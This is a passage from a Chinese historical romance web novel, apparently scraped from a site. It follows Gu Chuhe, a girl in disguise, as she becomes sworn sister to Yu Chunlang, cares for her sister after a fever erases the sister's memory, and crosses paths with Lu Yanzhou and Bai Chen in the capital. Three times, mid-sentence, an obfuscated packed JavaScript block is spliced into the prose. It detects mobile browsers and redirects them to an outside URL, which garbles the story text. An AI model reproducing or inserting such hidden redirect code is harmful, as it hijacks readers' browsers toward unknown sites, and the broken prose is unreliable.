她的马车与他的快马擦身而过,顾初禾下意识抬眸,目光扫过他的侧脸,却只是匆匆一瞥,并未深思,便朝前路行进。
陆砚舟却在这瞬间感到心脏猛地一缩,他身体后仰,勒马回身,却被扬起的尘土迷了眼。
他的侍从兼好友白忱察觉到异样,驾马掉头来到他身旁:“怎么了?”
“没什么,许是看错了。”,黄沙飞扬,陆砚舟已看不清那辆马车朝着岔路口的那个方向去了。
他皱皱眉,觉得自己眼花了。
“走吧,陛下还等着。”
两匹快马再次上路,朝皇宫的方向飞奔。
马车朝着郊外行驶了一炷香的时间,方才到了郁春琅的家。
郁春琅没有夸张,她所住的房屋与顾初禾之前藏身的破庙同样简陋。
墙面由土坯堆砌而成,因长期的风吹雨打,土坯变得干裂剥落。屋顶铺着的茅草稀疏且枯黄,有的地方甚至已经露出了腐朽的房梁,仿佛下一秒就会被狂风卷走。
门是用几块参差不齐的木板勉强拼凑而成,窗户更是寒酸,仅用一块破破烂烂的布随意遮挡着,此刻,那布被风轻轻一吹,便飘飘悠悠地晃动起来。
“喏,就是这样了,这儿就是我家。”,郁春琅的表情逐渐尴尬局促,越看越觉得自家房屋拿不出手。
顾初禾则指尖轻触她的臂膀,眼神中透露出温柔,“我从前住过的地方,连道门都没有,一到寒冬我就要担心会不会被冻死,这里已经很好了,你好心收留我们姐妹,我只觉得感激。”
听她这样说,郁春琅总算松了口气,笑了出来。
推开门,顾初禾拉着妹妹的手,跟着郁春琅走进屋子内部。
屋内的光线极其昏暗,微弱的光线照在正中摆着一张破旧不堪的木桌上。四条桌腿长短不一,桌面倾斜,一只缺了口的粗瓷碗摇摇欲坠。
进了大门往右,是郁春琅父亲的卧室。
墙角处,一张木床上面铺着的被褥破旧且单薄,补丁摞着补丁,颜色也早已分辨不清。
郁老伯躺在床上一个劲喊疼,翻个身都不能自主。
郁春琅赶忙跑过去给卧榻的父亲喂水,并轻轻揉搓他的后背。
顾初禾的目光一一扫过屋内的每一处,心中不禁泛起一阵酸涩。
她轻轻叹了口气,缓缓迈出脚步,鞋底与地面摩擦,扬起一阵灰尘,在这寂静又简陋的屋子里,她的每一个动作都显得格外突兀。
服侍父亲睡下后,郁春琅带着顾初禾姐妹来到大门左侧的两间卧房。
“这间是我睡的,隔壁这间空着,要不你们就睡这里。”,郁春琅随手拿起一块破布掸了掸床板,又弯腰擦干净两个板凳递给顾初禾姐妹。
顾初禾将妹妹抱在腿上坐下,与郁春琅面对面。
许是猜到了她想问什么,郁春琅先一步开口说起自家的遭遇。
“三年前,我母亲去瑞国公府做活,从此就没再回来,至今生死不明。父亲曾带人去寻,却被家仆用木棍殴打,自那之后就瘫痪在床。”
“我接连十日去告官鸣冤,可狗官相互勾结,不仅不受理我的诉状,还威胁恐吓我。家里突然断了生计,如今只能靠着门口那几块菜地过活。”
此事闻者伤心,顾初禾亦是越听越气愤。
她抹了抹眼泪,站起身走到马车前捣腾了一阵,从车厢木板的底层掏出了一张银票。
“春琅,不瞒你说,我的父母也是为奸人利用所害,至今尸骨葬身何处都不知。今日闻听你的遭遇,我感同身受,咱们也算是同病相怜了,你要是不嫌弃的话,从今往后,咱们结拜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556907|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成姐妹,一起打拼养家。”
“你父亲卧病在床,这屋里尘土弥漫,更不利于养身体。”
顾初禾握着她的手,将银票放在她手心,满含真心说道:“这是一百两的银票,明日咱们去城中找几位好工匠,将这屋子从里到外修缮一下。再请个医术高明的郎中来,为郁老伯把个脉,正经吃几副药,或许身子很快就能好了。”
“不不不,这屋子我都住了十几年了,早就习惯了。我请你们来我家住,可不是为了钱财。”
郁春琅拼命摇头,婉拒她的好意。
“春琅,我明白。”,顾初禾眼神坚定,握着她的双手越来越紧。
“不要再这么见外了,你要是信得过我,以后咱们就是一家人。”
寒屋茅舍下,两个年纪相仿的姑娘一见如故,都为对方曾经的遭遇感到惋惜。
惺惺相惜之情,是少女最纯真美好的模样。
郁春琅三年来遭受了多少冷眼,就连亲叔伯都与她家断绝了往来,家中揭不开锅时,没有一个远亲近邻伸手帮扶。
而顾初禾与她素未谋面,却如此慷慨仗义,这实在令她感动不已。
“好,结拜,从今往后我们生死相托,共进共退。”
明月高悬
二人在前院摆上香案,点燃香烛,恭恭敬敬地跪在地上。
顾初禾将五指展开,举在耳侧立誓:“皇天在上,后土在下,今我二人义结金兰,愿风雨与共,生死相依。此后姐妹同心,情谊永固,若违此誓,天地共诛。”
郁春琅郑重地跟着重复道:“对!若违此誓,天地共诸!”
两人转身相对,击掌为誓,发自内心地相视而笑。
顾长意不知道什么是结拜,只知道以后又多了个姐姐,人多热闹,她就开心。
她雀跃的欢笑鼓掌,扑进两位姐姐怀里。
顾长意吃饱喝足,早早就爬上床进入梦乡了。
夜幕低垂,顾初禾与郁春琅并肩坐在石凳上,面前的石桌上摆放着一壶清茶,袅袅热气升腾而起,为这清冷的月夜添了几分烟火气。
她们对着皎洁的月光促膝长谈,互诉彼此多年来的生活不易。
顾初禾这些日子隐姓埋名,没有一个交心的朋友,心里的苦闷无处宣泄。
既然已经结拜了姐妹,她不想有事瞒着郁春琅,于是决定将自己的身世经历和盘托出。
“你不是问我为什么女扮男装吗?”
“先帝在位时,有一桩巫蛊案,你有所听闻吧?”
“那对顾氏夫妇,就是我的爹娘。”
“我本名叫顾初禾,妹妹名叫顾长意。”
“我和意儿是逃出来的,辗转了多地,才决定来到京城,因为我料想官府不会猜到我们敢来这儿。”
顾初禾说出口的话一句比一句令人惊讶,郁春琅的嘴巴也越张越大。
她想过顾初禾的身世有内情,却没想过这内情是如此的跌宕起伏。
“那你爹娘为什么要参与巫蛊之事呢,他们难道不知道这是死罪吗?”
“因为意儿当时久病缠身,急需名医与珍贵药材才能医治,而那个幕后计划此事的人,利用我爹娘求药心切,诱逼着他们铸成大错。”
顾初禾一想到父母,就忍不住落泪,她吸了吸鼻子,拼命眨眼,可还是抑制不住思念之情。
“如今,我最期盼的就是意儿平安长大,二则便是查出幕后主使,即便我杀不了他替父母报仇,至少也得弄清楚他的身份,若此生连爹娘命丧谁手都不知,我死不瞑目。”
看着她一提到仇人咬牙切齿的神情,郁春琅能感受到她有多悲愤。
“你放心,我一定会为你保守秘密。”
郁春琅靠近她,轻轻地拍着她的后背,给她擦眼泪,两人就这样依偎在一起,直到月色渐深,露气加重,才不舍地回房休息。
11. 出征 几日后
几日后
顾初禾去城中找了个典当行的活儿,帮掌柜的算算账,郁春琅则在家照顾一老一小,盯着修缮的工匠,查漏补缺。
到了晚上,她们一起吃饭赏月,讨论每天都各自发生了什么趣事。
这样的日子一直持续到了十一月,直到边关又起战事。
百姓们好不容易过了一阵安逸日子,突然又要打起仗来,闹得是人心惶惶惴惴不安。
上一次镇守边关的还是先太子赵琛,如今他已薨逝。
新帝根基未稳,不敢擅离朝堂,可众将领又因种种理由推脱不肯上前线,最终还是陆砚舟自请带兵出征。
陆砚舟虽有一身武艺,却从未去过战场。
先太子还在世时,他就想跟着一起去前线历练,可先太子觉得他那时年纪尚小,说什么也不肯带他一起。
如今,陆砚舟即将赶赴先太子曾镇压过的战场,走先太子走过的路,他的心中不仅充满了守护百姓安宁的使命感,更怀着对先太子的敬爱之心。
他身着玄甲,头盔上的红缨随风飘动,辞别了圣上,为护卫国家安泰远赴边关。
另一头,顾长意连日高烧不退,顾初禾为了小家辛苦奔波。
大夫给顾长意把了脉,说是天气转凉冷热交替,小孩子在外玩耍出了汗便脱了衣裳,一时间寒风侵体,导致发热。
需得用药好好调理,否则可能会落下病根。
听了大夫的话,郁春琅搬来两个炭盆放在顾长意床边取暖,又往她的被窝里塞了两个手炉脚炉。
汤药一碗一碗的喂了下去,接连悉心照料了五天,顾长意才渐渐恢复意识,可她一睁眼一开口,竟开始说胡话了。
她迷迷瞪瞪地望着昼夜不歇照顾自己的姐姐,疑惑问道:“你是谁呀?”
顾初禾的笑容僵在脸上,心内一惊,吓得连汤碗都摔了,眼泪瞬间流了出来,握着妹妹的肩膀企图唤醒她的记忆。
“意儿,你这是怎么了,我是姐姐啊,你…你不记得我了吗?”
“坏了,是不是脑子烧糊涂了。”,郁春琅也在一旁焦急地打转。
大夫提着药箱又来了一趟,又是搭脉,又是翻开顾长意的眼皮,最终啧啧嘴,摇头叹息:“命是保住了,但因高热导致记忆减退,只怕已将从前往事一概忘了。”
“什么?您是说,她不记得我是谁了?”,顾初禾闻言踉跄了一下,跌坐在床边。
“不止是你,她是谁都不认得了。”
大夫站起身,神色满是不忍,却也只得直言相告:“从前我有个病人得了伤风后,虽保住了命,可从此却患上了癫痫之症,意识丧失,四肢抽搐,至今还不会走路呢。”
“虽说令妹失忆,但好在性命无忧,往后精心调养,兴许还有转机。人生在世,福祸相依,说不定过些时日,她便能慢慢记起从前。你们也需保重好自己,才能更好地照顾令妹啊。”,大夫医者仁心,知道在这时候说话必得三分真七分假,才能宽慰家属沉重压抑的心情。
顾长意的小脸烧得通红,眉头紧蹙,呼吸急促又沉重,仿佛正被无尽的梦魇纠缠,难以挣脱。
郁春琅抹了抹眼泪,恭敬地送大夫出门,“多谢大夫,我送您出去。”
屋内药味弥漫,气氛沉重得让人喘不过气。
顾初禾的眼神中充满了疲惫与憔悴,颤抖着双手抚摸妹妹的脸颊,眼中闪烁着泪花。
事已至此,就如大夫所说,能保得住命已经很好了,况且她们姐妹从前过得辛苦,想不起来也好,至于亲情可以慢慢培养…
送走了大夫,郁春琅回到顾初禾身旁,轻抚她的肩膀,温声安慰道:“初禾,别难过,我和你一起慢慢陪着意儿,总有一天她会恢复记忆的。”
顾初禾身体微微颤抖,整个人像是被抽去了力气,忽然就侧身倒在了郁春琅的怀里。
她连日守在妹妹床边,饶是铁打的身子也扛不住了,此时妹妹有所好转,她却支撑不住晕了过去。
再次睁眼时,郁春琅正在给她掖被子。
“初禾,你醒了?”
顾初禾觉得身子重得很,爬都爬不起来,挣扎了一下,又躺了回去,“我这是怎么了?”
“还问呢,你这几天加起来才睡了几个时辰,你那身子又不是吃了神仙妙药,哪能这么糟蹋。”,郁春琅一直用火炉煨着药膳,只等她醒了喂给她喝。
喝完药,顾初禾长叹了一口气。
郁春琅搁下药碗,贴近她的身体小声提议道:“你听我说,既然意儿已经失忆了,那从前之事忘了也好。
我一直没敢跟你说,前些日子,我去学堂接她下学,竟听见有两个嘴坏的小子胡说八道,骂意儿是野种,有人生没人养…
那时我就在想,咱们都这么熟了,同甘共苦早就成了一家人,要不然干脆你们改随郁姓,从此让她改口叫你哥哥,这样也避免了在外人面前暴露你的真实身份,就管我叫姐姐好了,咱们只当是亲姊妹。”
顾初禾想了好多办法,才给顾长意送进了学堂,本想着她可以交一些年纪相仿的小友,有几个玩伴,却不想那些孩子见接她下学的总是兄姐,不见爹娘的身影,偶尔还管身着男装的顾初禾叫姐姐,便私下里讥讽顾长意无父无母,是个野孩子。
顾长意怕姐姐伤心生气,受了委屈愣是一声不吭,直到那日郁春琅去接她回家,听到了那些风言风语。
“可是我和意儿的籍书上仍是锦州珍姨家的子女,想要改成京城户籍,只怕没那么容易。”
办法是好的,可顾初禾在京城也不认识什么官宦,即使想用银钱去打点此事,都摸不着门路。
郁春琅微笑着拍拍她的手背,“这有什么难的,籍书不改,称呼改了就是。叫的人多了,等意儿长大后众人自然而然就信了,谁会吃撑了非要跑来查验你们的籍书呢。”
“好,那从今往后我就是大哥,你是二姐,她是小妹。”,顾初禾还有些体虚,说几句话就没力气了。
郁春琅:“行,上有老下有小,我不亏。”
二人对视一眼,默契地笑出了声。
时光荏苒,稍纵即逝。
转眼已是一年后的冬至。
顾初禾站在小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556908|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
院里,望着那几株傲雪绽放的腊梅,恍惚间仿佛又回到了十三岁那年的腊八节,她从袖口里取出童墨送她的弹弓,轻抚几下喃喃道:“不知道童墨哥哥过得怎么样了,顾家散了以后,也不知他是否找过我…”
雨中夹雪,她一袭素衣茕茕立在庭院中央,抬手接住一片雪花,凉意瞬间沁入掌心,恰似心底蔓延的寒意。
往昔冬至,父母总会早早起身,熬煮暖身的羊肉汤,一家人围坐,笑语晏晏。
可如今,物是人非。
“爹娘,女儿好想你们…”
泪水模糊了双眼,眼前的雪景也渐渐朦胧。
屋檐下,郁春琅撑伞缓缓朝她走来,将伞面倾斜,为她遮挡雨雪。
“又在思念爹娘了吧?”
“我是个不孝的女儿,自爹娘走后,至今也未去坟前磕过头烧过纸,我好怕他们变成孤魂野鬼,难入轮回。”,顾初禾心中感伤,她没找到爹娘的尸身总觉得愧疚遗憾,加上这近三年来为了隐藏身份,甚至连一块碑都不敢立,想着若是刻上父母姓名,只怕引人注目,太过冒险。
郁春琅与她朝夕相伴,怎会不知她的苦痛。
“要不…咱们为你爹娘设个牌位,就在家中敬拜,这样的话外人也难以发现,岂不两全其美。”
顾初禾闻言又惊讶又感动,转身与她对视,“可这是你家,会不会不太吉利?”
“还在说是我家,这里不早就也是你的家了吗?这屋子还是你掏钱修缮的呢。”,郁春琅帮她掸掸肩上的落雪,握着她的手道:“我不忌讳这些,况且你的爹娘将你教得这样好,想来他们也是良善之人,不会侵害于我。”
顾初禾感动到无以复加,泪水直在眼眶里打转。
郁春琅见状拍拍她的脸颊,随即伸出双臂将她紧紧拥住,“好啦好啦,不哭了。”
吃过早饭后,顾初禾进城买了两块上好的木材,亲手刻画了双亲的姓名在上面。
郁家正堂神龛前,顾氏夫妇的牌位与郁家祖先摆放在一起,共享香火祭品。
顾初禾,郁春琅,还有顾长意的手中各执着三柱香,齐齐地朝着先人跪下,恭恭敬敬俯首叩拜。
祭拜仪式结束后,顾长意拍拍膝盖站起来,好奇问道:“哥哥,姐姐,这两位姓顾的长辈是谁呀?”
自打她失忆之后,所有人都管她叫郁长意,她一直以为自己就是郁家的人,以为躺在床上用药吊着性命的郁老伯就是她的父亲。
虽说童言无忌,可是在父母的牌位前,问他们是谁,顾初禾的心中很不是滋味,眼神落寞无助。
郁春琅察觉到了她的失落,便蹲下身握着顾长意的臂膀,郑重地跟她说:“意儿,这二位是咱们一家的大恩人,是最好最好的人,你要像对待亲生父母一样恭敬他们。以后每到清明节中元节,都要和今天一样为他们敬香烧纸,记住了吗?”
顾长意转头看了一眼牌位,乖巧点点头道:“是,我记住了。”
能用这样的方式说服顾长意,顾初禾已经很满足了。
她朝着郁春琅微笑点头,感谢她的理解和帮助。
12. 重逢
除夕夜,京城中四处张灯结彩,街道上人头攒动,叫卖声欢笑声交织一片,新年的氛围浓厚。
顾长意像只欢快的小鹿,穿梭在热闹的人群中。她路过面具摊,摊主热情叫卖,那些绘着鬼脸仙神的面具形态各异,她挑了个玉兔面具,俏皮地戴在脸上。
顾初禾掏钱付账,满足妹妹的一切喜好。
不远处,糖葫芦的甜香飘来,郁春琅立刻被吸引过去,她从前最喜欢吃糖葫芦了,只是后来家中变故,就再也没买过。
顾初禾看出她嘴馋了,便买下三串,一人一串。
郁春琅甜甜一笑接过糖葫芦,咬下一颗裹满糖衣的山楂,酸甜在舌尖散开,满足地眯起眼。
古桥上,五彩斑斓的灯笼从头挂到尾,有憨态可掬的动物形状,还有栩栩如生的花鸟图案。
她们在一盏绘着彩蝶的灯笼前驻足,赞叹不已。
正看得入神时,突然人群一阵骚动。
一阵急促的马蹄声由远及近,一匹受惊的快马在人群中横冲直撞,众人吓得纷纷躲避。
顾初禾慌乱间脚下一滑,身体不受控制地向桥边倒去,眼看就要坠入河中,就在这千钧一发之际,一只有力的手稳稳抓住了她的胳膊。
她惊魂未定,抬眼望去,只见一位脸上戴着一张银色面具的男子,只露出深邃的眼眸,正关切地看着自己。
边关告捷,陆砚舟先大军一步回朝,赶在小年夜就到了京城。
今夜除夕,宫中设宴,陆砚舟不喜歌舞,也不善于与那些权贵大臣斡旋,便称病来到民间寻一缕烟火气息。
他恰好看到这惊险一幕,下意识出手相救。
两人就这样隔着面具对视着,周围的喧嚣声似乎都渐渐远去,只剩下彼此急促的呼吸声。
陆砚舟定睛望着“他”愣了一会儿,觉得这双眼睛似曾相识…
“小兄弟,没事吧?”
若不是陆砚舟大拇指上的玉扳指硌疼了顾初禾,她还没回过神来。
她摇摇头,压低嗓音:“多谢公子,我无碍。”
陆砚舟思忖了片刻,刚要开口,忽然人群中有人呼喊顾初禾,他只好松开了她的手臂。
“哥哥,你没事吧!”,顾长意的一声哥哥,打消了陆砚舟的疑虑,他转身离去。
顾初禾望着他离去的背影,心中泛起一丝异样的感觉,她低头看了看自己的臂膀,仿佛还残留着他掌心的温度。
“怎么样,有没有受伤?”,郁春琅一脸担忧地跑到她面前,气愤地咒骂道:“今儿可是除夕夜,城中禁行马匹,不知又是哪家权贵胆大包天,纵马走街窜市,若是伤了人合该千刀万剐,不得好死!”
“放心放心,我一点事儿都没有。”
顾初禾活动活动了臂膀,转着上半身展示自己哪儿哪儿都好好的。
快马疾驰而去,街道恢复如初,摊贩重新摆放好物品,百姓们的心情也未受到影响,欢欢喜喜的迎接新年的到来。
顾初禾注意到街边有位老人在售卖焰火棒,她眼睛一亮,掏出铜板买了几支。
长桥上,她与顾长意郁春琅点燃了焰火棒,火花四溅,引得周围孩童阵阵欢呼,焰光照在她的脸上,忽明忽暗…
桥下,陆砚舟倚在玉器店外的石柱上,目不转睛地盯着她瞧了许久…
夜深了,郁老伯还等着她们回去一起守岁,玩闹了这么久也足够了,便赶在亥时回了家。
自打过完年,顾长意改跟郁春琅睡了,顾初禾单独一间屋子。
失忆后的顾长意真以为女扮男装的顾初禾是男子,一直管她叫哥哥,小大人模样的她嚷嚷着男女有别,再不肯跟“哥哥”睡一张床上了。
又是一年新春,顾初禾今年已十七岁了。
她来到京城这么多天,过得还算平安顺利,没什么人找茬,马车上搬下来的那些珠宝银票基本没怎么动,一直由郁春琅收着锁在柜子里。
典当行的掌柜挺赏识她的,她算账又快又精准,账目清晰有条理,比先前雇用的老账房还要稳妥能干。
去岁临近新年之际,掌柜的还多给她封了二钱银子,约定好过完年还得来典当行做工,她满口答应。
这不,年一过完,各商户都开门做生意了,顾初禾也按照约定早早就来了典当行。
她如今对外都称自己为郁初禾,上有一位年迈卧床的父亲,下有两个妹妹。
众伙计听闻她家境贫寒,素日里也对她多有照拂,一到发工钱的日子,总有人叫她一起去酒楼吃饭喝酒,她都找借口推辞了。
今儿是正月初五迎财神的好日子,掌柜的在门口设了香案,她也跟着拜了拜。
账房内,顾初禾正在掸灰尘,听到身后有动静,回头看见掌柜的捋着胡须笑意盈盈地朝自己走来。
她学着男子的模样,抱拳行礼,“掌柜的,有什么吩咐?”
“哎,别拘谨,刚过完年一个客人都没有,哪来的吩咐。”,掌柜的摆摆手,示意他坐下说话。
“初禾啊,你来我这做工也有好一段日子了,你平日里话不多,也不怎么和人打交道。咱们虽是主雇,却也太生疏了…”
顾初禾闻言,尴尬地扯了扯嘴角,“掌柜的,是有话要问我?”
今日是新年第一天开张,原本店里有六个伙计,却只叫来了一个轮值,等过完元宵节后,才一齐来做工。
趁着店里没什么人,掌柜的也不遮掩了,他早就对顾初禾的身世感到好奇,憋了这么久也算能忍了。
“我见你时常在腰间别着把折扇,不知是何来历?”
“是一位故交所赠。”,顾初禾低头看了看那把折扇,不假思索地答道。
掌柜的表情像是信了,又像是不信。
他端起茶碗抿了一口,笑着道:“你这故交出手真是大方,骨架用的可是象牙,一把折扇价值千金啊。”
顾初禾闻言立马抽出折扇展开,前后翻看,不可置信地睁大了双眼。
“怎么,你不知道?”,掌柜的还以为她知情,但看她的神色,分明是蒙在鼓里。
“掌柜的,你不会瞧错吧?”
掌柜的被她的话逗乐,放声笑开了,“老夫开这个典当行已二十几年了,若是连这折扇是什么材质都分辨不出,还当什么掌柜呢。”
顾初禾垂眸,回想起从火海里救出陆砚舟的那天…
陆砚舟虽口口声声称他的母亲只是一个贵夫人的贴身侍女,兼小公子的奶娘。
可他彬彬有礼谈吐不凡,又能随手将这么贵重的折扇赠予他人,想必见过的奇珍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556909|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
异宝不在少数。
他口中的那位贵夫人一定身份显赫,他自己恐怕也不只是小公子的伴读那么简单。
掌柜的不知她低头在想什么,便咳了两声。
“初禾啊,实不相瞒,老夫其实是另有件要事,想听听你的意思。”
顾初禾回过神来,“是,您请说。”
“老夫的爱女念儿,去岁来店里送粥饼时见了你一面,自那之后便对你心生倾慕,茶饭不思。”,掌柜的不在乎未来女婿家世如何,只要人品长相过得去,便是好的。
反正他也不缺钱,如今女儿相中了顾初禾,若是情投意合,倒也是美事一桩,便主动开口为女儿说亲。
“这…俗话说男大当婚女大当嫁,你二人年纪相仿,相貌又甚是匹配,若你也有意的话,不若定下亲事,往后这典当行也就是你的了。”
顾初禾虽着男装,可她本体是个女子,即使装得再像,也不能行夫妻之事,如何能耽搁人家女儿。
她吓得差点从凳子上摔了下来,连连摆手,婉拒道:“啊?不可不可,掌柜的莫要玩笑,令嫒是您的掌上明珠,自小金尊玉贵,晚生家境艰难不敢高攀。”
掌柜的本以为顾初禾闻听此事会乐不可支,连胜应承下来才是,却不想他竟想不都有就拒绝了。
“这,你还不愿意?”
“恕难从命…”,顾初禾躬身致歉。
“哼!不识抬举!”,掌柜的面子被拂,一时间下不来台,气愤地拍了下桌子,茶碗也随之一震。
“先前胭脂铺的谢掌柜当了一只精美的颤枝步摇,如今有钱了打算赎回去,晚生这就送去给她,并将赎金带回。”
顾初禾逃出了典当行的大门,拐进一条小巷,背靠着墙。
“这事儿闹的,怎么还说上亲了…”,她拍着胸脯长舒一口气,自言自语道。
典当行的规矩,双方交易都要在柜台点清货物,一般伙计们是不会上门送货取货的。
但胭脂铺的谢掌柜既是典当行的熟客,也是街坊,破例去她店里跑个腿儿也无可厚非。
胭脂铺的门面并不张扬,门口悬挂着两只小巧的八角宫灯,白日里虽不点亮,却也为铺子添了几分精致。
一进门,馥郁的香气便扑鼻而来,花香脂粉香交织而成的独特气息甜而不腻,令人沉醉。
店内的空间不大,却布置得井井有条。
四周的木质货架上,整齐地摆放着琳琅满目的胭脂盒。
店铺的角落里,摆放着一张雕花的木质方桌,桌上整齐地排列着各种试色的小碟,碟中盛着不同颜色的胭脂,旁边还放着几支精致的羊毫笔,供顾客试用挑选。
店内的伙计皆是面容姣好的年轻女子,身着素色罗裙,发髻上别着一支小巧的珠花,显得清新脱俗。
顾初禾捧着首饰盒迈进门槛的一瞬间,就如同进了盘丝洞。
她眉眼间透着一股灵动的秀气,眼角微微上扬,穿着一身淡蓝色长袍,说话温声细语的,颇有书生风范。
胭脂铺的这些女子开朗活泼,每次见“他”来,都忍不住逗逗她,拿她开玩笑。
谢掌柜从里间出来,斜眼呵斥道:“都没活儿了?聚在一块干什么呢?”
众姑娘们惧怕她的严厉,四散开来。
13. 折扇
“小生有礼,恭贺谢掌柜新店开张,财源滚滚。”,顾初禾的这张嘴很是讨喜,她知道谢掌柜之前当了步摇,是因为新店扩张手头缺点可用的银子,如今既有钱赎回步摇,想必是没少赚。
况且,大正月里的,又是初五迎财神日,说两句吉利话只会有好处,没坏处的。
“小账房,你这嘴啊是愈发甜了。”,谢掌柜轻轻握拳,带着几分娇嗔,轻轻捶向顾初禾的肩头,十分受用的笑着道:“先前我就跟你们家掌柜的提过,把你借来给我们铺子算几天账,他宝贝的跟什么似的,偏是不肯。你看看我店里这些姑娘,可都眼巴巴盼着你来呢。”
“要不我再去跟你们掌柜的商量商量,你就来我们胭脂铺待两天,如何?”
顾初禾闻言忙后退了一步,恭维道:“谢掌柜盛情,小生心领了,只是各位姐姐娇贵,我一向粗糙惯了,怕言语上不谨慎,再惹恼了姐姐们。”
“油嘴滑舌,等着,我去给你拿银子。”
谢掌柜听出了她的言中之意,却也不恼,撅了撅嘴从她手里接过了首饰盒,又去里屋拿赎回步摇的银两。
胭脂铺的客人不少,但大多都是年轻女子。
而摆满香粉的檀木架前,有一男子剑眉微蹙,神色间满是踌躇,显得有些格格不入。
白忱想挑一款最合心意的香粉送给好友的母亲,可架上琳琅,他拿不定主意。
顾初禾见身旁的姐姐们都不敢去招待他,还听见她们小声议论,说他是陆祳的手下。
陆祳打了胜仗,刚刚封侯,是真正的权贵,白忱与他交情甚笃,怕是也不好惹。
他拿起玫瑰香粉打开,馥郁的玫瑰香气弥漫开来,抿唇不语。
顾初禾看他犹豫不决的模样,竟觉得有几分可怜,于是主动接近,拿起一盒茉莉花香粉,递到他面前,说道:“依我看,这茉莉香粉清幽淡雅,有安神助眠之效,正适合长辈日常使用。”
白忱接过,打开盒盖,一股淡雅的茉莉香扑鼻而来萦绕在鼻尖,他不禁点头:“确实好闻。”
“哎?你怎么知道我是送长辈的?”
“那边货架上有桃花,栀子,桂花你不去挑,偏偏在这檀香,艾叶等粉料中举棋不定,怕是没几个年轻姑娘喜欢这些的。”,顾初禾的父母也是做生意的,她从小跟在身旁耳濡目染,眼力见更比旁人好些。
迟迟不决的白忱,对茉莉香甚至满意,他大咧咧地抬起手臂,重重的拍在顾初禾肩上。
他常年习武,力气甚大,这一下,差点没把顾初禾拍死…
“小兄弟好眼力,多谢了。”
顾初禾捂着像被大山压过的肩膀,忍着剧痛摆摆手,咬牙道:“不…不客气!”
里间,谢掌柜用一荷包装了足两的银子出来,还特意多封了二钱银子给她,说是新年了沾沾喜气,讨个好彩头。
顾初禾喜出望外,连声道了谢,拿好了银子告辞准备回典当行。
她和买完茉莉香的白忱前后脚出门,同时往左转。
街道上熙熙攘攘,他二人虽步调一致,却因不熟无话可说,两人尴尬地互看了一眼,又微笑别开了头。
终于,在一条岔路口,顾初禾需得右拐进入小巷,而白忱继续直行,两人总算分路而行了。
可谁料,顾初禾刚拐入小巷没多远,一道黑影如鬼魅般闪过。
她只觉眼前一花,腰间一轻,谢掌柜刚刚交给她的荷包便不翼而飞了,她定睛一看,只见一个身形矫健的飞贼穿行在巷子左右,眨眼间便要消失在于视线。
顾初禾又惊又急,下意识地喊道:“啊?!抓贼啊!”
可周围人来人往,却都只是平头百姓,就算有心也无力,没人能追上那身手敏捷的飞贼。
就在她满心绝望之时,一道身影从屋檐上翩然而下,如飞鸟般轻盈。
白忱目光如炬,紧紧锁定飞贼的行踪,脚下轻点,施展着精妙绝伦的轻功,几个起落便追上了飞贼。
飞贼见势不妙,抽出腰间短刀,恶狠狠地向白忱砍去。他不慌不忙,身形一闪,轻松避开了凌厉的刀势,随后施展拳法,三两下便将飞贼制住。
“哼,光天化日,敢在小爷眼皮子底下劫财,找死呢?”,白忱一手拎着那飞贼的衣领,一手捡起荷包。
恰好,有几个在附近巡逻的皇城军路过,撞见这一幕,齐刷刷持刀赶了过来,并向白忱行礼。
“属下等参见副指挥使!”
“嗯,这小贼当街抢掠他人财物,胆大得很,带回去好好审审。”,白忱昂昂首,将飞贼交给了皇城军,临走前还踹了一脚那飞贼的屁股。
他将荷包抛在空中又接住,一副玩世不恭的表情走到顾初禾面前,提起一边嘴角微笑递还给她,“小兄弟,你的钱袋。”
“多谢大人仗义出手。”,顾初禾将荷包小心翼翼地塞进怀里,拱手躬身向他致谢。
可上方迟迟没有传来白忱的声音,她直起身子转头看了看四周,他早已消失在这条小巷。
做了善事却不邀功,顾初禾心中感激,想着若是哪日有机会再见,定要好好报答。
为免再出岔子,顾初禾不敢逗留了,捂紧了衣口一路小跑回了典当行,直到一分不少将银子交给了掌柜的,这才松了口气。
天色渐晚,郁春琅已经做好了四菜一汤,就等着顾初禾回来一起吃饭呢。
可她梗着脖子,朝村口唯一的那条路张望了老半天,都没等到顾初禾的身影。
可怜顾长意饿得肚子咕咕叫,郁春琅就给她盛了饭,让她先吃。
等到顾长意吃完了,顾初禾这才驾着马车赶了回来。
“今儿怎么这么晚呀,铺子里出什么事了吗?”,郁春琅帮她牵马进院子,拴在一棵老槐树上,关切地问道。
顾初禾无奈一笑,宠溺地摸了摸顾长意的小脑袋,接着将掌柜的
